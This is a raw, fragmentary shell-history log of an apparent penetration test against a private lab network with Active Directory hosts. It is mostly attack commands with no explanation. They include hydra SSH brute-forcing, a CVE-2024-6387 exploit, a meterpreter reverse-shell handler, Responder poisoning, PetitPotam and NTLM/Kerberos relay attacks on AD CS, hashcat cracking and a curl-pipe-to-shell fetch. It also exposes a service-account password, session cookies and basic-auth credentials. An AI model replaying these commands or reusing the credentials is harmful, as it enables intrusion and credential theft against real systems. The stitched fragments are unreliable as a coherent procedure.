mysql -username -h 10.0.1.11 -P 80 -p
mysql -u username -p -h 10.0.1.11 -P 80
msfconsole


_raw: : 1762033479:0;hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10.txt  ssh://10.0.1.10


_raw: : 1762033420:0;ldapdomaindump -u "CQURE\\administrator" 10.0.1.6


_raw: : 1762033412:0;ldapdomaindump -p ' ' -u "CQURE\\administrator" 10.0.1.6


_raw: : 1762033404:0;ldapdomaindump -p '' -u "CQURE\\administrator" 10.0.1.6


_raw: : 1762033399:0;ldapdomaindump -p '' -u "CQURE\\administrator"


_raw: : 1762033356:0;nxc smb apt-dc-01.allports.local -u '' -p '' --rid-brute 20000


_raw: : 1762033343:0;rm -rf linWinPwn_allports.local


_raw: : 1762033337:0;ldapdomaindump -p '' -u "cn=administrator,cn=users,dc=cqure,dc=net" -p ""  --authtype SIMPLE 10.0.1.6


_raw: : 1762033333:0;ldapdomaindump -p '' -u "cn=administrator,cn=users,dc=cqure,dc=net" -p ""  --authtype SIMPLE


_raw: : 1762033204:0;rpcclient -U 'allports.tours\rose.davis' 10.0.1.6


_raw: : 1762033167:0;nc penny.allports.local 3080 -v


_raw: : 1762033157:0;nc penny.allports.local  -v 3080


_raw: : 1762033152:0;nc penny.allports.local  -p 3080


_raw: : 1762033148:0;rm -rf linWinPwn_allports.local


_raw: : 1762033145:0;nc penny.allports.local  3080


_raw: : 1762033112:0;nxc smb apt-dc-01.allports.local -u '' -p '' --shares


_raw: : 1762033073:0;ldapdomaindump -p '' -u "cn=users,dc=cqure,dc=net" allport.tours


_raw: : 1762033069:0;ldapdomaindump -p '' -u "cn=users,dc=cqure,dc=net" allports.tour


_raw: : 1762033060:0;ldapdomaindump -p '' -u "cn=users,dc=cqure,dc=net" 10.0.1.6


_raw: : 1762033054:0;ldapdomaindump -p '' -u "cn=users,dc=cqure,dc=net"


_raw: : 1762033049:0;nxc smb apt-dc-01.allports.local -u guest -p '' --shares


_raw: : 1762033040:0;nmap -p 389 --script ldap-brute --script-args ldap.base='"cn=users,dc=cqure,dc=net"' 10.0.1.0/24


_raw: : 1762033013:0;sudo responder -I eth0 -A


_raw:
clear
nmap -sn 10.0.1.0/24
nmap 10.0.1.10 -A
ssh 10.0.1.10
ip a
sudo nmap -p 22 -sV -sC -O 10.0.1.10
ls
cd Desktop
pwd
mkdir cve
cd cve
git clone https://github.com/Karmakstylez/CVE-2024-6387.git
ls
cd CVE-2024-6387/
ls
python3 CVE-2024-6387.py scan -T 10.0.1.10 -p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {10.0.254.203}; set LPORT 9999; exploit -j"
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x32/meterpreter/reverse_tcp; set LHOST {10.0.254.203}; set LPORT 9999; exploit -j"
ls
cd ..
l;s
ls
mkdir new
cd new
git clone https://github.com/xaitax/CVE-2024-6387_Check.git
ls
cd CVE-2024-6387_Check
ls
python CVE-2024-6387_Check.py 10.0.1.10
searchsploit opnssh 8.9p1
searchsploit openssh 8.9p1
searchsploit openssh
mousepad lol.py
ls
chmod +x lol.py
python3 lol.py
searchsploit CVE-2023-28531
\
ssh-add -h 10.0.1.10 /usr/lib/libykcs11.so\
ssh -A pentester@10.0.1.10
nmap -A 10.0.1.30
nmap -A 10.0.1.14
curl 10.0.1.14
curl 10.0.1.14:80
curl 10.0.1.14:443
curl 10.0.1.14:5001
curl 10.0.1.10:5001
nmap -sn 10.0.1.0/24
netdiscover -i eth1 -r 10.0.1.0/24
sudo netdiscover -i eth1 -r 10.0.1.0/24
ip a
sudo netdiscover -i eth0 -r 10.0.1.0/24
smbmap -u guest -p "" -d . -H 10.0.1.20
smbmap -u guest -p "" -d . -H 10.0.1.21
smbclient -L 10.0.1.21 -N
smbclient -L 10.0.1.20 -N
enum4linux 10.0.1.20
smbclient //10.0.1.10/public -N
smbclient //10.0.1.20/public -N
smbclient //10.0.1.21/public -N
nmap --script smb-security-mode -p445 10.0.1.20
nmap --script smb-security-mode -p445 10.0.1.21
netexec smb 10.0.1.21 -u '' -p '' --users
netexec smb 10.0.1.20 -u '' -p '' --shares
netexec smb 10.0.1.20 -u '' -p '' --users
rpcclient -U "" -N 10.0.1.6


_raw: : 1762032981:0;python3 zerologon_tester.py --help


_raw: : 1762032973:0;python3 zerologon_tester.py dc-name


_raw: : 1762032968:0;python3 zerologon_tester.py -h


_raw: : 1762032822:0;ldapsearch -x -H ldap://10.0.1.6 -D "cn=guest,cn=users,dc=cqure,dc=net" -w ''


_raw: : 1762032820:0;ldapsearch -x -H ldap://10.0.1.6 -D "cn=guest,cn=users,dc=cqure,dc=net"


_raw:
linWinPwn -t 10.0.1.6 -o ./
ls
linWinPwn -t 10.0.1.6 -o ./
impacket-ntlmrelayx
impacket-ntlmrelayx -debug -smb2support --target http://pki.lab.local/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
pipx install impacket
impacket-ntlmrelayx -debug -smb2support --target http://pki.lab.local/certsrv/certfnsh.asp --adcs --template KerberosAuthentication
impacket-ntlmrelayx -debug -smb2support --target 10.0.1.6 --adcs --template KerberosAuthentication
impacket-ntlmrelayx -debug -smb2support --target 10.0.1.6 --adcs --template KerberosAuthentication -remove-target --remove-mic
impacket-ntlmrelayx -debug -smb2support --target 10.0.1.6 --adcs --template KerberosAuthentication -remove-target
impacket-ntlmrelayx -debug -smb2support --target 10.0.1.6
impacket-ntlmrelayx --target 10.0.1.6
impacket-ntlmrelayx --target 10.0.1.6 -smb2support
impacket-ntlmrelayx --target 10.0.1.6 -smb2support -remove-target
impacket-ntlmrelayx --target 10.0.1.6 -smb2support
impacket-ntlmrelayx --target 10.0.1.6 -smb2support -remove-target
impacket-ntlmrelayx --target 10.0.1.6 -smb2support --remove-mic
impacket-ntlmrelayx --target 10.0.1.20 -smb2support --remove-mic
impacket-ntlmrelayx -smb2support --remove-mic


_raw:
evil-winrm
evil-winrm  -i 10.0.1.20 -u 'Guest' -p ''
nmap -sC -sV -p- -iL ips.txt -oA scan2
cd Downloads
python3 petitpotam.py 10.0.1.6 10.0.254.202
cd Pet
ls
cd ..
ls
cd PetitPotam/
python3 petitpotam.py 10.0.1.6 10.0.254.202
ls
python3 PetitPotam.py 10.0.1.6 10.0.254.202
python3 PetitPotam.py 10.0.1.6 10.0.254.202 10.0.1.6
python3 PetitPotam.py 10.0.254.202 10.0.1.6
python3 PetitPotam.py
python3 PetitPotam.py -D APT-DC-01 10.0.254.202 10.0.1.6
python3 PetitPotam.py -D 'APT-DC-01' 10.0.254.202 10.0.1.6
python3 PetitPotam.py 10.0.254.202 -dc-ip 10.0.1.6
python3 PetitPotam.py 10.0.254.202 -dc-ip 10.0.1.6 10.0.1.6
python PetitPotam.py 10.0.254.202 -dc-ip 10.0.1.6 10.0.1.6
python3 PetitPotam.py 10.0.254.202 10.0.1.6
python3 PetitPotam.py 10.0.254.202 10.0.1.20
python3 PetitPotam.py 10.0.254.202 10.0.1.21
python3 PetitPotam.py 10.0.254.202 10.0.1.6
sudo apt upgrade
sudo apt update
sudo apt upgrade
sudo apt update
sudo apt upgrade
python3 PetitPotam.py 10.0.254.202 10.0.1.6


_raw: : 1762032814:0;sudo apt update && sudo apt upgrade -y\


_raw: : 1762032727:0;ldapsearch -x -H ldap://10.0.1.6 -D "cn=administrator,cn=users,dc=cqure,dc=net" -w "" -b "dc=cqure,dc=net" "(objectClass=*)"


_raw: : 1762032704:0;sudo responder -I eth0 --lm


_raw:
dig 10.0.1.1
ssh rdavis@10.0.1.10
ssh username@10.0.1.15
enum4linux 10.0.1.20
smbclient -L 10.0.1.20
smbclient -L 10.0.1.20 -u Administrator
smbclient -L 10.0.1.20 -U Administrator
enum4linux 10.0.1.254


_raw: : 1762032687:0;gzip -d /usr/share/wordlists/rockyou.txt


_raw: : 1762032683:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://10.0.1.14:443/FUZZ -fw 5


_raw: : 1762032679:0;impacket-smbclient allports.local/'%'@10.0.1.6 -no-pass


_raw: : 1762032671:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://10.0.1.14:80/FUZZ -fw 5


_raw: : 1762032663:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://10.0.1.14:80/FUZZ


_raw: : 1762032660:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://10.0.1.14:80/FUZZ -v


_raw: : 1762032650:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://10.0.1.15:80/FUZZ -v


_raw: : 1762032650:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope'


_raw: : 1762032643:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://10.0.1.15:80/FUZZ


_raw: : 1762032641:0;ffuf -u http://10.0.1.11:8081/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -H "Authorization: Basic YWRtaW46cGFzc3dvcmQ="


_raw:
sudo apt-get update
sudo apt-get upgrade
ls -al /usr/share/nmap/scripts
nc -vn 10.0.1.20 5985
nc -vn 10.0.1.21 5985


_raw:
gvm-start
cd /
ls
cd etc
ls
cd /
ls
cd usr
ls
cd share
ls
cd wordlists
ls
cd dirbuster
ls
gobuster dir -u 10.0.1.11 -w directory-list-2.3-small.txt
gobuster dir -u http://10.0.1.11/ -w directory-list-2.3-small.txt
gobuster dir -u http://10.0.1.11 -w directory-list-2.3-small.txt
gobuster dir -u http://10.0.1.11 -w directory-list-2.3-small.txt --wildcard -t 20
nmap -sV -sC -T4 10.0.1.11
curl http://10.0.1.11/api/
nmap -sV -T4 10.0.1.11
searchsploit OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
searchsploit OpenSSH 8.9p1
searchsploit librechat
cd
searchsploit librechat
searchsploit Uvicorn
curl http://10.0.1.11/api/
nc 10.0.1.11 80
nmap -sS 10.0.1.0/24 --open
clear
nmap -sV -T4 10.0.1.14
searchsploit nginx 1.18.0
searchsploit Gunicorn
cd usr
cd /
cd usr
cd share
ls
cd wordlists
ls
cd dirbuster
ls
gobuster dir -u https://10.0.1.14/ -w directory-list-2.3-small.txt --wildcard -t 20
gobuster dir -u https://10.0.1.14/ -w directory-list-2.3-small.txt
curl https://10.0.1.14/
nmap -sV -A -T4 10.0.1.14
gobuster dir -u http://10.0.1.11/login -w directory-list-2.3-small.txt
nmap -sV -A -T4 10.0.1.11
cd
nmap -sS -T4 10.0.1.0/24 --open
nmap -sV -A -T4 10.0.1.15
searchsploit MySQL 5.7.44
searchsploit Apache httpd 2.4.25
searchsploit Jetty 9.4.48.v20220622
mysql
mysql 10.0.1.15
searchsploit nginx
nginx
nginx 10.0.1.15
nmap -sS -T4 10.0.1.0/24 --open
nmap -sV -A -T4 10.0.1.30
ssh 10.0.1.30
cd /
cd usr
cd share
cd word
cd wordlists
ls
cd dirbuster
cd ..
hydra --L rockyou.txt.gz --P rockyou.txt.gz 10.0.1.30 ssh
hydra -L rockyou.txt.gz -P rockyou.txt.gz 10.0.1.30 ssh
ls
cd metasploit
ls
hydra -L http_default_users.txt -P http_default_pass.txt 10.0.1.30 ssh
cd ..
ls
cd ..
ls
cd
ping 10.0.1.11
clear
nmap -sV -A -T4 10.0.1.99
searchsploit MySQL 8.0.43
searchsploit Golang net/http server
nmap -sS -T4 10.0.1.0/24 --open
gobuster dir -u http://10.0.1.11/login -w directory-list-2.3-small.txt -t 1 --delay 6s
cd usr/share/wordlists
cd /usr/share/wordlists
gobuster dir -u http://10.0.1.11/login -w directory-list-2.3-small.txt -t 1 --delay 6s
ls
cd dirbuster
gobuster dir -u http://10.0.1.11/login -w directory-list-2.3-small.txt -t 1 --delay 6s
gobuster dir -u http://10.0.1.11/login -w directory-list-2.3-small.txt -t 1 --delay 6s --exclude-length 4831
ls
gobuster dir -u http://10.0.1.11/login -w directory-list-2.3-small.txt -t 1 --delay 6s --exclude-length 4831
cd ..
ls
cd dirb
gobuster dir -u http://10.0.1.11/login -w small.txt -t 1 --delay 6s --exclude-length 4831
hydra -L http_default_users.txt -P http_default_pass.txt 10.0.1.99 ssh
hydra -L http_default_users.txt -P http_default_pass.txt 10.0.1.99 ssh -t 4
cd /usr/share/wordlists
ls
cd metasploit
hydra -L http_default_users.txt -P http_default_pass.txt 10.0.1.99 ssh
cd
nmap -sS -T4 10.0.1.0/24 --open
cd /usr/share/wordlists/metasploit
ls
hydra -L http_default_users.txt -P http_default_pass.txt 10.0.1.15 ssh
cat http_default_pass.txt
ls
cd ..
cd dict
ls
cd dirb
ls
hydra -L small.txt -P small.txt 10.0.1.15 ssh
hydra -L common.txt -P common.txt 10.0.1.15 ssh
clear
nmap -sS -T4 10.0.1.0/24 --open
hydra -L common.txt -P common.txt 10.0.1.10 ssh
ls
hydra -L small.txt -P small.txt 10.0.1.10 ssh
cd ..
cd metasp
cd metasploit
ls
hydra -L namelist.txt -P password.lst 10.0.1.10 ssh
nmap -sS -T4 10.0.1.0/24 --open
nmap -sV --script=vuln -T5 10.0.1.11
searchsploit uvicorn
searchsploit OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
ssh 10.0.1.11
ssh admin@10.0.1.11
ls


_raw: : 1762032575:0;cat payload | python3 interact.py


_raw:
ls -al /usr/share/nmap/scripts
ls -al /usr/share/nmap/scripts | grep "winrm"
ls -al /usr/share/nmap/scripts | grep -i "winrm"
ls -al /usr/share/nmap/scripts | grep -i "brute"
msfconsole


_raw: : 1762032522:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users > ldap.txt


_raw: : 1762032507:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users


_raw:
: 1762032499:0;# From public github\
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh


_raw: : 1762032461:0;ffuf -u http://10.0.1.11:8081/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -b "mongo-express=s%3A-g2Pe9P7YxBG60lI8RVZlw4R1xFlpSca.kdAa0woPL5mpMYMKdg8BJ%2BK0WtYWctLl0BemK86TOFk" -fw 1


_raw: : 1762032456:0;ffuf -u http://10.0.1.11:8081/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic -b "mongo-express=s%3A-g2Pe9P7YxBG60lI8RVZlw4R1xFlpSca.kdAa0woPL5mpMYMKdg8BJ%2BK0WtYWctLl0BemK86TOFk"


_raw:
dotnet new -i Jellyfin.Plugin.Template
dotnet new install Jellyfin.Plugin.Template
dotnet new Jellyfin-plugin -name MyPlugin


_raw: : 1762032441:0;python3 krbrelayx.py --delegate-access -t 10.0.1.6


_raw: : 1762032385:0;python3 krbrelayx.py -dc-ip 10.0.1.6 --delegate-access


_raw: : 1762032355:0;sudo responder -I eth0 -A


_raw: : 1762032347:0;python3 krbrelayx.py -domain allports.local --delegate-access


_raw: : 1762032332:0;nmap -p 389 --script ldap-brute --script-args ldap.base='"cn=users,dc=cqure,dc=net"' 10.0.1.0/24


_raw: : 1762032308:0;cat payload | python3 interact.py


_raw: : 1762032279:0;python3 krbrelayx.py --help


_raw: : 1762032279:0;hashcat -m 5500 -a 0 dchash.txt /usr/share/wordlists/rockyou.txt


_raw: : 1762032275:0;hashcat -m 5500 -d 3 dchash.txt /usr/share/wordlists/rockyou.txt


_raw: : 1762032259:0;hashcat -m 5500 -a 0  dchash.txt /usr/share/wordlists/rockyou.txt


_raw: : 1762032243:0;hashcat -m 5500 -d 3 dchash.txt /usr/share/wordlists/rockyou.txt


_raw:
curl 'http://10.0.1.11:8045/tabular_search' \\
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Connection: keep-alive' \\
  -H 'Cookie: mongo-express=s%3AqMnVWA_NkY0rvvxWnX8cr_KUyWlY624c.rqV7ZZ6wTaq4dTAcSWXvh6bf562s4vBr0ijkv6w9iiQ' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'Priority: u=0, i'
curl 'http://10.0.1.11:8045/tabular_search' -X \\
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0' \\
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate' \\
  -H 'Connection: keep-alive' \\
  -H 'Cookie: mongo-express=s%3AqMnVWA_NkY0rvvxWnX8cr_KUyWlY624c.rqV7ZZ6wTaq4dTAcSWXvh6bf562s4vBr0ijkv6w9iiQ' \\
  -H 'Upgrade-Insecure-Requests: 1' \\
  -H 'Priority: u=0, i'
curl 'http://10.0.1.11:8045/tabular_search' -X
curl 'http://10.0.1.11:8045/tabular_search' -X GET
curl 'http://10.0.1.11:8045/tabular_search' -X POST
curl -s -X POST 'http://10.0.1.11:8045/tabular_search' \\
  -H 'Content-Type: application/json' \\
  -d '{}'\
curl -s -X POST 'http://10.0.1.11:8045/tabular_search' \\
  -H 'Content-Type: application/json' \\
  -d '{"query":"example","limit":10}'\